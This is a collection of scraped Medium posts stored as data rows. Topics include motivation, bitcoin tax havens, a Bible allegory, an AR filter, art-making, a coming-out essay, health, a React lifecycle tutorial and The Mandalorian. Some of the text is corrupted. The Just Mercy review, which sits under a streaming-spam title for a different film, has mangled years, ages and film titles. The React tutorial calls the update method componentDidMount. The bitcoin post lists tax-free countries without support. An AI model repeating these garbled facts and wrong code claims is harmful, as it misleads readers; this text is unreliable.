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Remember, growing might feel like breaking at first. | 1. Return To The Bigger Picture
It’s easy to lose focus when you’re thoroughly working on the details. Down the track we tend to lose focus on the big picture, we then let that fire-fueling-feeling fizzle out and we lose our passion to continue, we say we’ll come back to it later.
You need to remember why you started in the first place. Whether that’s buying your dream home, finishing your DIY, or increasing your business revenue.
If things aren’t working the way you planned, be flexible to redirect your path when things aren’t going the way they were planned. Don’t let that stop you from achieving your goals. Focus on them instead.
2. Strive To Become Better Than Yesterday
Learn something every day. The world is a big place providing endless information on just about anything! It doesn’t matter how little so long as you have learned something new each day. Take a certain amount of time to read, write, paint, or dance!
Doesn’t matter if it’s a small action. If you’re contributing to growing you’re improving your life and your mindset. You are becoming better than you were yesterday.
3. Don’t Compare Yourself With Others
We are on our own paths. There is no need to compare yourself with others, it’s tempting and we all do it but it brings us no peace within ourselves. It causes envy, jealousy, and resentment. Instead, look up to them as inspiration. Ask yourself “what is it that got them to their goals that can help me achieve mine?”
We cannot become what we want by remaining what we are.
— Max Depree
Everyone is fighting their own battles, it’s harder when we live in a technology world filled with sharing, posting, filming.
It’s not a race. Take one step at a time and focus on yourself, your path.
4. Growth Is Uncomfortable
Growing is uncomfortable but who wants to stay in comfort forever anyway?
Being uncomfortable is being fearful of the unknown. Fear is the driver to cease our progress to our goals.
Discomfort is the great enemy of courage. Choose courage over comfort.
— Bene Brown
Don’t let this stop you from achieving what you want in life. Face those fears! Reach out to those who motivate and inspire you. Own your path and go all in because trying is better than never trying at all. | https://medium.com/@sahvanna/remember-growing-might-feel-like-breaking-at-first-a2bfa029b456 | [] | 2020-12-29 19:42:34.951000+00:00 | ['Mindfulness', 'Failure', 'Growth', 'Motivation'] |
Bitcoin Tax Havens | I first started following bitcoin in 2013. It happened out of pure accident at a job I held at the end of 2013. I was working for a middle market bank that used to pump a daily newsletter to all employees of all the important news in the financial and banking world. I thought the entire concept of bitcoin was fascinating.
I met a guy in late 2013 and started telling him about bitcoin in early 2014. I talked it up so much that he asked me how to buy bitcoins. I took things into my own hands, and opened an account for him on coinbase. The irony of this situation is I didn’t own any bitcoins and I didn’t even have a coinbase account. However, I helped this guy I was screwing for the short term get bitcoin instead of helping myself.
By 2015, I was ready to buy bitcoin; however, I was still too afraid to take the plunge. I saw the price go up to $400 and then drop to $200 and then increase to $400 again. I told myself, I would buy when it drops to $200 again. At this time, I didn’t have more than $10,000 in my bank account. I was broke and I didn’t understand taking risks to make money. I was still looking at income as a scarce resource although I was constantly reading Catherine Ponder and Florence Schinn books on abundance. As you know, bitcoin never declined to $200. Fast forward, its the end of 2017 and bitcoin is approaching $20,000. I’m sure there were plenty of people on the sidelines like myself, that missed out on huge sums of income because they were afraid. As the rapper Meek Mill said “scared money, don’t make no money.”
As bitcoin is currently in another bull run in 2020, I pondered where the bitcoin millionaires might be living or hiding, which got me to research countries that don’t tax bitcoin gains. Disclaimer, I’m not a financial advisor, tax expert, or legal person, so please, take this article as entertainment and do your own research!
Countries that don’t tax bitcoin gains are: Portugal, Singapore, Germany, Hong Kong, Switzerland (duh!), Malaysia, and Malta. These countries can change their stance in the future, but as of right now, its a free for all! | https://medium.com/@artinek21/bitcoin-tax-havens-12d45620cec0 | [] | 2020-12-10 01:34:53.613000+00:00 | ['Taxes', 'Bitcoin Wallet', 'Bitcoin News', 'Bitcoin', 'Investing'] |
The Truth is Often Crucified Between Two Opposing Sides | The two thieves
There is a passage in the Bible that illustrates this in dramatic fashion.
Christ is crucified between two thieves on Mount Golgotha.
39 And one of the malefactors which were hanged railed on him, saying, If thou be Christ, save thyself and us. 40 But the other answering rebuked him, saying, Dost not thou fear God, seeing thou art in the same condemnation? 41 And we indeed justly; for we receive the due reward of our deeds: but this man hath done nothing amiss. 42 And he said unto Jesus, Lord, remember me when thou comest into thy kingdom. 43 And Jesus said unto him, Verily I say unto thee, Today shalt thou be with me in paradise. — Luke 23
Christ represents the Truth while the two thieves represent two opposing sides — positive and negative.
This allegory is easily seen within ourselves.
The Masculine and the Feminine
With our masculine and feminine energy.
Please note that positive and negative do not correlate to feminine and masculine. There are a seemingly infinite amount of possible dualities in the world that have nothing to do with each other. Just like left/right, down/up, hot/cold which have nothing to do with each other but are all dichotomies.
A man might believe he is to be as masculine as possible because its what society tells him a man should be. But in doing this he denies the feminine elements within his psyche.
By favoring the masculine and denying the feminine he is denying a very real part of himself resulting in the crucifixion of his true self — or the most complete version of himself.
The same happens when a woman favors her feminine aspects over her masculinity.
No person is 100% masculine and no woman is 100% feminine. This is a tragic misunderstanding. We need to remember that masculinity is not synonymous with the male and neither is femininity with the female.
Every human is born with a rich mix of the two.
And true power lies within the conjunction of the two forces working together.
Intuition and Logic
The same is seen with the two powerful forces of intuition and logic.
If we favor our logic over our intuition then we will forever be stuck within the confines of our conscious thoughts and our creativity will be limited.
But if we favor our intuition over our logic then we will never have a well thought out plan for ourselves and will be wandering through life with no real aim.
We must then assume that the most optimal point of operating is somewhere in the middle. We must navigate through life using both our intuition and our logic together. | https://medium.com/interfaith-now/the-truth-is-often-crucified-between-two-opposing-sides-4ab39f86e207 | ['Daniel Esparza'] | 2020-05-22 14:52:09.962000+00:00 | ['Christianity', 'Religion', 'Christian', 'Religion And Spirituality', 'Spiritual Growth'] |
Design Trends 2020: Tipografia & Illustrazioni | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/this-is-digital-experience/design-trends-2020-tipografia-illustrazioni-5b11779da3d6 | ['Gabrielle Barcos Galli'] | 2021-02-18 13:55:32.037000+00:00 | ['Typography', 'Visual Design', 'Trends', 'Illustration', 'Tide'] |
Shopifyでセクションを自作する | in In Fitness And In Health | https://medium.com/anti-pattern-engineering/shopify%E3%81%A7%E3%82%BB%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E8%87%AA%E4%BD%9C%E3%81%99%E3%82%8B-c1d88ce8dd5c | [] | 2020-12-22 07:20:57.388000+00:00 | ['Shopify', 'Shopify Theme', 'Liquid'] |
“Behind the Scenes” AR Filter | “Behind the Scenes” AR Filter
This realtime face-tracked filter enumerates a wide range of computational photography techniques that work behind the scenes to make face-tracked filters like this even possible. Computational photography is the object of analysis in this piece, through which I hope to illuminate how images are becoming increasingly processed by computers and further entwined with complex information systems.
“Behind the Scenes”, 2020. SOOC Instagram Filter, made with Spark AR Studio.
The types of computational photography techniques listed range from simple image stacking, to AI-generating, 3D rendering, and image compressing, as well as techniques that utilize special hardware for multispectral capture, microscopic capture (such as protein imaging) and telescopic capture (such as deep astronomical imaging).
The font used to scribe each technique is Windsor, the title font used in the Whole Earth Catalog, a publication first distributed late 60’s. The Catalog was a zeitgeist work at the center of the then counter cultural movement and was used as a veritable Bible of all things environmental and technological. It became a groundwork text for the later dominant cyberculture, as historian Fred Turner argues, for it was widely read by early technologists in California’s Bay Area. The font’s use here represents the manufactured convergence of the environmental and technological landscapes, of which the genre of computational photography is a product of.
Inspired by the work of Zhang Huan and Kerr Cirilo, artists who warped textual artifacts within an image to remediate the text’s original meeting, I hope to remediate the text that is computational photography. By using the labels of the techniques I simultaneously refer to the textual code underlying such techniques as well as refer to the idea of label itself, which is a key feature to computational photography that has been programmed to detect objects and faces within an image frame.
This filter is made accessible on Instagram, owned by Facebook, which is one of the largest aggregators of image-label pairings. It is common knowledge that Facebook sells these pairings en masse for targeted hypergrowth marketing and uses these pairings as a raw dataset to train machine learning algorithms. What is less well known are the particular industry terms, concepts, and techniques that are the intellectual engines to these programs. In a conscious effort of sousveillance it is worth making these terms publicly visible.
To try this filter for yourself you must use a mobile device. Open @tywensnotes in the Instagram app and find the “Behind the Scenes” filter in the filter gallery. The filter tab is indicated by a smiley face on the profile. | https://medium.com/@tywenkelly/behind-the-scenes-ar-filter-8a7913917157 | ['Tywen Kelly'] | 2020-12-03 22:48:43.600000+00:00 | ['Filters', 'AR'] |
Don’t wait to create | Playing with paint
Reclaiming a relationship with art after midlife
As we edge towards 2021, no one needs to be told that it’s been a dark season. I trust the light will be returning soon, but I don’t want to wait. I need color. I need to make art.
Last year, I would never have said, “I need to make art.” Any invitation to make art sent me running in the opposite direction. I was one of the millions of school children who decided, early on, that they had no talent for art and, as a result, they couldn’t “do” art. I made my decision in October 1961 in Mrs. Willoughby’s art class. I decided that the world was split up between those who could draw and make art (my friend Toni Squitieri) and the mediocre, untalented rest of us. Case closed.
I stuck to my story for close to sixty years.
But then this year, a lot start shifting. People started teaching who had never imagined they’d be forced to teach art online. That’s how I was able to take classes with my friend Dana Lynne Andersen of the Academy for Art and Consciousness based in Assisi, Italy. Dana had encouraged me to try her method and I was fascinated. Assisi was on my bucket list for a trip, someday, far in the future.
Dana has worked with thousands of us who “don’t do art” as well as with professionals who want to kindle a different relationship with their art. I decided that the risk of taking a class with her was minimal, given that no one would be able to see my work and I couldn’t compare myself with others.
I’ll fast forward the story. Suffice to say a door cracked open.
All it took was a shift from “Is this any good? to “Is this feeding my soul?” In a judgment-free environment, a part of me came out of hiding.
I no longer say “I don’t do art.”
My father had left some paints when he died. As I riffled through his tubes of acrylics I found magenta, aquamarine, orange, carmine red, cobalt, and black, which I mixed into jars for sloshy pours. My dad, who died twenty years ago, had been an amateur artist. Scratch amateur. Dad was an artist. How we demean ourselves with labels.
As I started working with his materials, my relationship with my father shifted–another story for another day.
In my first program with Dana, she eased the class into the creative process through movement and meditation. I felt the rhythm of my own body responding to music. With my Zoom audio off, I crooned and sang. Energy, buried deep within this year, opened up. I took that movement to the page.
I approached the paper which was to be my land of experiments. As I became involved in the creative process I used multiple sheets. I wasn’t going for a finished product. If the paper tore, well, that was part of the process, too.
I became entranced by the movement of colors traversing a wet page.
At the end of class, I was ready for more. I felt full, shifted, tired, and more awake. My intuition felt more alive. I paused to eat an orange, and my first bite (with a follow-up bite of chocolate) felt transcendent. I walked outside with my dogs, and, like them, I sniffed the air. Suddenly, I was overwhelmed with the fragrances of honeysuckle, lavender, and even the smell of the compost bin. My senses were dancing.
I could go on describing my experience and Dana’s class. If you want to taste Dana’s work, she’s offering a four-day program over the New Year’s holiday. (No worries, I’m not getting a commission here!)
Don’t wait to open the door to your creativity! That's what I really want to say. Fifty years is too long to wear a shirt that was always too small and constricting. Now is your best time to paint, sing, dance, write, or creatively fix your car.
Whoever said you weren't creative was flat out wrong.
The new year with its new hopes is a perfect time to take one small creative step.
Last year, I poured cobalt blue onto a piece of newsprint and the rest was history.
If you’re interested in expanding creativity and awareness in a time of uncertainty, please pop over to www.engagingpresence.com. And do check out Dana Lynne Andersen’s work at the Awakening Arts Academy. | https://medium.com/meeting-the-muse/dont-wait-to-create-8f4f04d84e96 | ['Sally Fox'] | 2020-12-23 03:07:28.408000+00:00 | ['Consciousness', 'Creativity', 'Art', 'Aging'] |
El senado confirmó a Amy Coney Barrett, ¿ahora qué? | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/el-informal/el-senado-confirm%C3%B3-a-amy-coney-barrett-ahora-qu%C3%A9-ea84b627e52e | ['Mauricio Rojsen'] | 2020-10-27 16:52:11.458000+00:00 | ['Opinion', 'Politics', 'Español', 'Amy Coney Barrett', 'SCOTUS'] |
Knower’s Profile | Knower’s Profile
My life changed completely when I realized one thing about myself – I am gay. Living in a outspokenly homophobic household has obligated me to be very closed off and independent from my family. It got to a point where I did not even feel the purpose in talking to my family because I knew I was going to be abandoned by the end of it. This has taught me not to say anything to anyone about myself without knowing the precautions of where and who it could go to, in turn making me very closed off from people. In grade 7, I started a journal because I felt so suffocated with my own thoughts – I for one could not confide in people and keeping it stored in my mind was very detrimental to my mental health. Skip forward to now, in my grade 12th year I still find it hard to share my deeper thoughts with people and ultimately feel like my only safe place is myself. The friends around me are very accepting of this however, I do not think it is understood. I do not think anyone is able to understand why someone is gay, I mean I still don’t even understand why I am. I walk the earth and approach new people with the preconceived notion that I won’t be understood, so there is no point in trying. However in some way, it has made me try so much harder to be liked. Because I know I wont be understood for who I am, I try to be liked for what I do. For example, I became very close to this group of people and one conversation led to another and we became close on a personal level, however I never felt comfortable opening up my thoughts. I don’t trust things or people easily, I feel like I live a very emotionally independent life.
Mental illnesses in parents represent a risk for children in the family. Ever since I was young my mom suffered with very bad anxiety and depression. It got to a point where I did not know if I was going to wake up to her alive. Little noises in the house would make me wake up and go to her door to see if I could hear her sleeping. I felt fear walking out of my house, I felt fear walking into my house, fear of what I would see. This led me to have anxiety myself. It got so bad to where I found it extremely hard to get out of bed in grade 9, I had no motivation for anything. I think anxiety and depression are one of those things I will carry with me my entire life. But what really shapes me and how I see the world is every detail in my moms health I needed to pay attention to. I approach situations with too many thoughts and I focus on details but in a negative way. For example, the most simple math question I will get wrong because I will overthink it and focus on little things like, “why is it so simple.” Tying this to my inability to open up to people, I focus on details about people a lot. Sometimes this means I feel love for them fast. When every detail about them makes me happy and makes me feel like home, I love, I admire, and I feel very strongly. I never felt like I was able to emote anything because I felt that my mom would get even worse because she would see that it was impacting me, so I never did and I think it lead me to develop an independent personality protecting who I really am, someone extremely sensitive.
The one thing that these two things have embedded in me is my sensitivity to other people’s feelings and to my own. I’ve become very aware of how people will feel about things, and sometimes I even purposely look out for it because I have the inclination to make other people feel good because I know it is hard for me to feel good all the time. When I hurt, I hurt deeply and that is because I am sensitive. | https://medium.com/@arashharia/knowers-profile-8f7edb3c9550 | ['Arash A'] | 2020-12-13 05:24:01.133000+00:00 | ['Self Love', 'Growth', 'Gay', 'Teens', 'Adult'] |
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Estrellas: Moa Gammel, Madeleine Martin, Trine Wiggen
Personal: Joachim Hedén (Writer), Joachim Hedén (Director)
Idioma: Swedish
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THE STORY
After graduating from Harvard, Bryan Stevenson (Michael B. Jordan) forgoes the standard opportunities of seeking employment from big and lucrative law firms; deciding to head to Alabama to defend those wrongfully commended, with the support of local advocate, Eva Ansley (Brie Larson). One of his first, and most poignant, case is that of Walter McMillian (Jamie Foxx, who, in 62, was sentenced to die for the notorious murder of an 2-year-old girl in the community, despite a preponderance of evidence proving his innocence and one singular testimony against him by an individual that doesn’t quite seem to add up. Bryan begins to unravel the tangled threads of McMillian’s case, which becomes embroiled in a relentless labyrinth of legal and political maneuverings and overt unabashed racism of the community as he fights for Walter’s name and others like him.
THE GOOD / THE BAD
Throughout my years of watching movies and experiencing the wide variety of cinematic storytelling, legal drama movies have certainly cemented themselves in dramatic productions. As I stated above, some have better longevity of being remembered, but most showcase plenty of heated courtroom battles of lawyers defending their clients and unmasking the truth behind the claims (be it wrongfully incarcerated, discovering who did it, or uncovering the shady dealings behind large corporations. Perhaps my first one legal drama was 624’s The Client (I was little young to get all the legality in the movie, but was still managed to get the gist of it all). My second one, which I loved, was probably Primal Fear, with Norton delivering my favorite character role. Of course, I did see To Kill a Mockingbird when I was in the sixth grade for English class. Definitely quite a powerful film. And, of course, let’s not forget Philadelphia and want it meant / stand for. Plus, Hanks and Washington were great in the film. All in all, while not the most popular genre out there, legal drama films still provide a plethora of dramatic storytelling to capture the attention of moviegoers of truth and lies within a dubious justice.
Just Mercy is the latest legal crime drama feature and the whole purpose of this movie review. To be honest, I really didn’t much “buzz” about this movie when it was first announced (circa 206) when Broad Green Productions hired the film’s director (Cretton) and actor Michael B. Jordan in the lead role. It was then eventually bought by Warner Bros (the films rights) when Broad Green Productions went Bankrupt. So, I really didn’t hear much about the film until I saw the movie trailer for Just Mercy, which did prove to be quite an interesting tale. Sure, it sort of looked like the generic “legal drama” yarn (judging from the trailer alone), but I was intrigued by it, especially with the film starring Jordan as well as actor Jamie Foxx. I did repeatedly keep on seeing the trailer for the film every time I went to my local movie theater (usually attached to any movie I was seeing with a PG rating and above). So, suffice to say, that Just Mercy’s trailer preview sort of kept me invested and waiting me to see it. Thus, I finally got the chance to see the feature a couple of days ago and I’m ready to share my thoughts on the film. And what are they? Well, good ones….to say the least. While the movie does struggle within the standard framework of similar projects, Just Mercy is a solid legal drama that has plenty of fine cinematic nuances and great performances from its leads. It’s not the “be all to end all” of legal drama endeavors, but its still manages to be more of the favorable motion pictures of these projects.
Just Mercy is directed by Destin Daniel Cretton, whose previous directorial works includes such movies like Short Term 6, I Am Not a Hipster, and Glass Castle. Given his past projects (consisting of shorts, documentaries, and a few theatrical motion pictures), Cretton makes Just Mercy is most ambitious endeavor, with the director getting the chance to flex his directorial muscles on a legal drama film, which (like I said above) can manage to evoke plenty of human emotions within its undertaking. Thankfully, Cretton is up to the task and never feels overwhelmed with the movie; approaching (and shaping) the film with respect and a touch of sincerity by speaking to the humanity within its characters, especially within lead characters of Stevenson and McMillian. Of course, legal dramas usually do (be the accused / defendant and his attorney) shine their cinematic lens on these respective characters, so it’s nothing original. However, Cretton does make for a compelling drama within the feature; speaking to some great character drama within its two main lead characters; staging plenty of moments of these twos individuals that ultimately work, including some of the heated courtroom sequences.
Like other recent movies (i.e. Brian Banks and The Hate U Give), Cretton makes Just Mercy have an underlining thematical message of racism and corruption that continues to play a part in the US….to this day (incredibly sad, but true). So, of course, the correlation and overall relatively between the movie’s narrative and today’s world is quite crystal-clear right from the get-go, but Cretton never gets overzealous / preachy within its context; allowing the feature to present the subject matter in a timely manner and doesn’t feel like unnecessary or intentionally a “sign of the times” motif. Additionally, the movie also highlights the frustration (almost harsh) injustice of the underprivileged face on a regular basis (most notable those looking to overturn their cases on death row due to negligence and wrongfully accused). Naturally, as somewhat expected (yet still palpable), Just Mercy is a movie about seeking the truth and uncovering corruption in the face of a broken system and ignorant prejudice, with Cretton never shying away from some of the ugly truths that Stevenson faced during the film’s story.
Plus, as a side-note, it’s quite admirable for what Bryan Stevenson (the real-life individual) did for his career, with him as well as others that have supported him (and the Equal Justice Initiative) over the years and how he fought for and freed many wrongfully incarcerated individuals that our justice system has failed (again, the poignancy behind the film’s themes / message). It’s great to see humanity being shined and showcased to seek the rights of the wronged and to dispel a flawed system. Thus, whether you like the movie or not, you simply can not deny that truly meaningful job that Bryan Stevenson is doing, which Cretton helps demonstrate in Just Mercy. From the bottom of my heart…. thank you, Mr. Stevenson.
In terms of presentation, Just Mercy is a solidly made feature film. Granted, the film probably won’t be remembered for its visual background and theatrical setting nuances or even nominated in various award categories (for presentation / visual appearance), but the film certainly looks pleasing to the eye, with the attention of background aspects appropriate to the movie’s story. Thus, all the usual areas that I mention in this section (i.e. production design, set decorations, costumes, and cinematography) are all good and meet the industry standard for legal drama motion pictures. That being said, the film’s score, which was done by Joel P. West, is quite good and deliver some emotionally drama pieces in a subtle way that harmonizes with many of the feature’s scenes.
There are a few problems that I noticed with Just Mercy that, while not completely derailing, just seem to hold the feature back from reaching its full creative cinematic potential. Let’s start with the most prevalent point of criticism (the one that many will criticize about), which is the overall conventional storytelling of the movie. What do I mean? Well, despite the strong case that the film delves into a “based on a true story” aspect and into some pretty wholesome emotional drama, the movie is still structed into a way that it makes it feel vaguely formulaic to the touch. That’s not to say that Just Mercy is a generic tale to be told as the film’s narrative is still quite engaging (with some great acting), but the story being told follows quite a predictable path from start to finish. Granted, I never really read Stevenson’s memoir nor read anything about McMillian’s case, but then I still could easily figure out how the movie was presumably gonna end…. even if the there were narrative problems / setbacks along the way. Basically, if you’ve seeing any legal drama endeavor out there, you’ll get that same formulaic touch with this movie. I kind of wanted see something a little bit different from the film’s structure, but the movie just ends up following the standard narrative beats (and progressions) of the genre. That being said, I still think that this movie is definitely probably one of the better legal dramas out there.
This also applies to the film’s script, which was penned by Cretton and Andrew Lanham, which does give plenty of solid entertainment narrative pieces throughout, but lacks the finesse of breaking the mold of the standard legal drama. There are also a couple parts of the movie’s script handling where you can tell that what was true and what fictional. Of course, this is somewhat a customary point of criticism with cinematic tales taking a certain “poetic license” when adapting a “based on a true story” narrative, so it’s not super heavily critical point with me as I expect this to happen. However, there were a few times I could certainly tell what actually happen and what was a tad bit fabricated for the movie. Plus, they were certain parts of the narrative that could’ve easily fleshed out, including what Morrison’s parents felt (and actually show them) during this whole process. Again, not a big deal-breaker, but it did take me out of the movie a few times. Lastly, the film’s script also focuses its light on a supporting character in the movie and, while this made with well-intention to flesh out the character, the camera spotlight on this character sort of goes off on a slight tangent during the feature’s second act. Basically, this storyline could’ve been removed from Just Mercy and still achieve the same palpability in the emotional department. It’s almost like the movie needed to chew up some runtime and the writers to decided to fill up the time with this side-story. Again, it’s good, but a bit slightly unnecessary.
What does help overlook (and elevate) some of these criticisms is the film’s cast, which are really good and definitely helps bring these various characters to life in a theatrical /dramatic way. Leading the charge in Just Mercy is actor Michael B. Jordan, who plays the film’s central protagonist role of Bryan Stevenson. Known for his roles in Creed, Fruitvale Station, and Black Panther, Jordan has certain prove himself to be quite a capable actor, with the actor rising to stardom over the past few years. This is most apparent in this movie, with Jordan making a strong characteristically portrayal as Bryan; showcasing plenty of underlining determination and compelling humanity in his character as he (as Bryan Stevenson) fights for the injustice of those who’s voices have been silenced or dismissed because of the circumstances. It’s definitely a strong character built and Jordan seems quite capable to task in creating a well-acted on-screen performance of Bryan. Behind Jordan is actor Jamie Foxx, who plays the other main lead in the role, Walter McMillian. Foxx, known for his roles in Baby Driver, Django Unchained, and Ray, has certainly been recognized as a talented actor, with plenty of credible roles under his belt. His participation in Just Mercy is another well-acted performance that deserve much praise as its getting (even receiving an Oscar nod for it), with Foxx portraying Walter with enough remorseful grit and humility that makes the character quite compelling to watch. Plus, seeing him and Jordan together in a scene is quite palpable and a joy to watch.
The last of the three marquee main leads of the movie is the character of Eva Ansley, the director of operations for EJI (i.e. Stevenson’s right-handed employee / business partner), who is played by actress Brie Larson. Up against the characters of Stevenson and McMillian, Ansley is the weaker of the three main lead; presented as supporting player in the movie, which is perfectly fine as the characters gets the job done (sort of speak) throughout the film’s narrative. However, Larson, known for her roles in Room, 6 Jump Street, and Captain Marvel, makes less of an impact in the role. Her acting is fine and everything works in her portrayal of Eva, but nothing really stands in her performance (again, considering Jordan and Foxx’s performances) and really could’ve been played by another actress and achieved the same goal.
The rest of the cast, including actor Tim Blake Nelson (The Incredible Hulk and O Brother, Where Art Thou) as incarcerated inmate Ralph Meyers, actor Rafe Spall (Jurassic World: Fallen Kingdom and The Big Short) as legal attorney Tommy Champan, actress Karan Kendrick (The Hate U Give and Family) as Minnie McMillan, Walter’s wife, actor C.J. LeBlanc (Arsenal and School Spirts) as Walter’s son, John McMillian, actor Rob Morgan (Stranger Things and Mudbound) as death role inmate Herbert Richardson, actor O’Shea Jackson Jr. (Long Shot and Straight Outta Compton) as death role inmate Anthony “Ray” Hinton, actor Michael Harding (Triple 2 and The Young and the Restless) as Sheriff Tate, and actor Hayes Mercure (The Red Road and Mercy Street) as a prison guard named Jeremy, are in the small supporting cast variety. Of course, some have bigger roles than others, but all of these players, which are all acted well, bolster the film’s story within the performances and involvement in Just Mercy’s narrative.
FINAL THOUGHTS
It’s never too late to fight for justice as Bryan Stevenson fights for the injustice of Walter McMillian’s cast against a legal system that is flawed in the movie Just Mercy. Director Destin Daniel Cretton’s latest film takes a stance on a poignant case; demonstrating the injustice of one (and by extension those wrongfully incarcerated) and wrapping it up in a compelling cinematic story. While the movie does struggle within its standard structure framework (a sort of usual problem with “based on a true story” narrations) as well as some formulaic beats, the movie still manages to rise above those challenges (for the most part), especially thanks to Cretton’s direction (shaping and storytelling) and some great performances all around (most notable in Jordan and Foxx). Personally, I liked this movie. Sure, it definitely had its problem, but those didn’t distract me much from thoroughly enjoying this legal drama feature. Thus, my recommendation for the film is a solid “recommended”, especially those who liked the cast and poignant narratives of legality struggles and the injustice of a failed system / racism. In the end, while the movie isn’t the quintessential legal drama motion picture and doesn’t push the envelope in cinematic innovation, Just Mercy still is able to manage to be a compelling drama that’s powerful in its story, meaningful in its journey, and strong within its statement. Just like Bryan Stevenson says in the movie….” If we could look at ourselves closely…. we can change this world for the better”. Amen to that! | https://medium.com/@ver-breaking-surface-2020/ver-breaking-surface-hd-ver-p-e-l-i-c-u-l-a-completa-2020-en-espa%C3%B1ol-latino-7c8bdb515d0b | ['Ver Breaking Surface'] | 2020-12-14 06:40:54.225000+00:00 | ['Action', 'Movies', 'Thriller', 'Drama'] |
How Getting Healthier Gave Me The Power To Be Myself Again | Health is something we take for granted whether it’s good or bad.
If we’re healthy we don’t think about it at all and if we’re unhealthy we can feel trapped inside a body that doesn’t work the way we want it to.
I totally understand.
For years I suffered from chronic fatigue brought on by an undiagnosed heart condition combined with self-medication and poor lifestyle choices.
I thought I was just aging poorly until surgery and lifestyle changes opened my eyes.
I’m hoping that sharing my experience can inspire you to take the steps you need to get control of your health and start living the life you were meant to live.
Better health enabled me to change my life in the following ways:
Image by author via Canva.
I’ve revisited dreams that I’d let go dormant.
One of the earliest memories I have is listening to my parent’s records while pretending to play piano on the side of the couch.
I’d performed in my 20’s, but I did it for my ego. I liked being on stage, the center of attention. I burned out by the time I was 30, walked away from it all, and never looked back.
In the years after I quit, the absence of music in my life left a gaping hole in my soul. It was so painful to address that I couldn’t even bring myself to think about it.
But my subconscious wasn’t done and I began having dreams about performing again.
So, last year I got reacquainted with my creative self, bought a guitar, and played almost every day for the love of it. The act of doing something that I love so much reminded me of who I was from the very beginning.
Who the hell do I think I am? Why on earth would someone my age bother with all of this nonsense?
Because I can, that’s why, because I have the energy.
Image by author via Canva.
I’ve become more assertive.
When I got the horsepower to start living again, I had to make time for myself. This incarnation needed the time to do my own things.
Vitality gave me the clarity to see how I’d been shortchanging myself.
So I stopped being afraid to advocate for myself, and guess what?
My life became a whole lot easier.
I do less housework now, I have more time for myself, and that little ball of energy that tamps down my opinions and makes my chest hurt has dissipated.
The most startling realization was that all these years, the only one who was oppressing me was me.
In not being forthcoming about my needs, I was creating situations where they weren’t always being met. | https://medium.com/illumination/how-getting-healthier-gave-me-the-power-to-be-myself-again-c13692e319a4 | ['Erin King'] | 2020-12-26 18:01:41.331000+00:00 | ['Empowerment', 'Lifestyle', 'Health', 'Self', 'Self Improvement'] |
React Lifecycle | Overview
In react there are three phases in a component: Mounting, Updating and Unmounting. React life cycle diagram
Mounting
The mounting phase is when the component is being created and is inserted into the DOM. The methods that are called in order for this phase are:
The constructor() method is called before it is mounted. It is not necessary to define the constructor method. Typically the constructor method is used for initializing state or binding methods or both. If the component is taking in props it should be an argument when defining the method. Props should not be copied into state. Also the constructor should not call setState().
constructor(props) {
super(props); // Necessary to access props in constructor
this.state = { counter: 0 };
this.handleClick = this.handleClick.bind(this);
}
The render() method is the only required method for class components. Render methods look at the components state and props and returns one of the following:
React Elements — Typical html tags like <div> or react components <Component />
Arrays and Fragments — Rendering multiple elements
Portals — Render children in a different DOM subtree
String and Numbers — Typical text
Boolean or null — Rendering nothing. Ex: return boolean && <div/>
The componentDidMount() method is immediately called after the component is mounted. Initialization that requires DOM nodes or API calls should go in this method. You can setup subscriptions here but make sure you unsubscribe in componentWillUnmount(). While you can call setState() in this method it will trigger an extra render() method call.
Updating
The updating phase is when the props or state changes. The methods that are called in order for this phase are:
Same as the render() method in the mounting phase.
The componentDidMount() is called immediately if there are any changes in the component state or props. It is not called for the initial render. If you use this method make sure you have a conditional statement otherwise it will be stuck in an infinite loop.
componentDidUpdate(prevProps) {
// Usually compare props with previous props
if (this.props.id !== prevProps.id) {
this.getUser(this.props.userID);
}
}
Unmounting
The unmounting phase is when the the component is removed from the DOM. The only method called in this phase is:
The componentWillUnmount() method is called immediately before the component is unmounted. This is where any necessary clean up is done like invalidating timers, unsubscribing and cancelling network requests. You should not call setState() in this method because it will not be rendered after it gets to this point.
Conclusion
In older versions of React there were more lifecycles and methods that were called in each phase. The methods listed above are the ones that are the most commonly used. Any methods not listed are considered legacy or are not common lifecycles. | https://medium.com/dev-genius/react-lifecycle-a91848dfc0d0 | ['Daniel Liu'] | 2020-10-01 21:00:39.840000+00:00 | ['Reactjs', 'JavaScript', 'Front End Development', 'React Lifecycle', 'React'] |
Res Folder | Open up app -> build.gradle, find sourceSets and change it like this for convenience:
sourceSets
Every new res folder will be added there. In order to remove res folder, first you need to delete its path in sourceSets.
Step 2: Creature global — res — folders
In res-global use the same method to create: res-drawable, res-layout, res-mipmap, res-values etc: | https://medium.com/@veldan1202/res-folder-cd95a340b477 | ['Vladislav Shesternin'] | 2020-12-20 09:54:07.424000+00:00 | ['Structured Project', 'Project', 'Structured', 'Res Folder', 'Android'] |
Mandalorian: How the series could look for season 3 | In the last episode of the second season of The Mandalorian, we see that Grogu’s call for a Jedi is finally answered by none other than Luke Skywalker. This shift of events leaves a lot of questions for fans of The Mandalorian along with fans of Star Wars in general. Is Grogu going to return in season 3? Does Kylo Ren kill Grogu when he turns to the dark side? What is the next step for Din Djarin?
Grogu, commonly known as Baby Yoda, has found himself out of the care of The Mandalorian and in training with Luke Skywalker as the season ends. If Grogu is to stay with Luke for the full extent of his training, that would mean he is inevitably left to an untimely death at the hand of Kylo Ren. Though that seems like an unlikely answer, that is what the timeline would currently suggest. I personally believe Grogu will cross paths and come back to Din Djarin, but as of right now we have to wait a year to see what comes of the fate of Grogu.
As for Din Djarin, there is one story that is sure to be played out. He is currently the wielder of the dark saber, a weapon that is wielded by the leader of Mandalore. The problem is, the saber must be won through combat, and Bo Katan is preparing a way for herself to be the leader of Mandalore. I expect an impressive battle between the two, which I can only assume must be won by Bo Katan in order for her to claim the throne. Another possibility is that Din actually sees the power that comes with the possession of the dark saber and uses it to his advantage. We all know he is willing to take risks he isn’t exactly proud of in order to fulfill a larger goal.
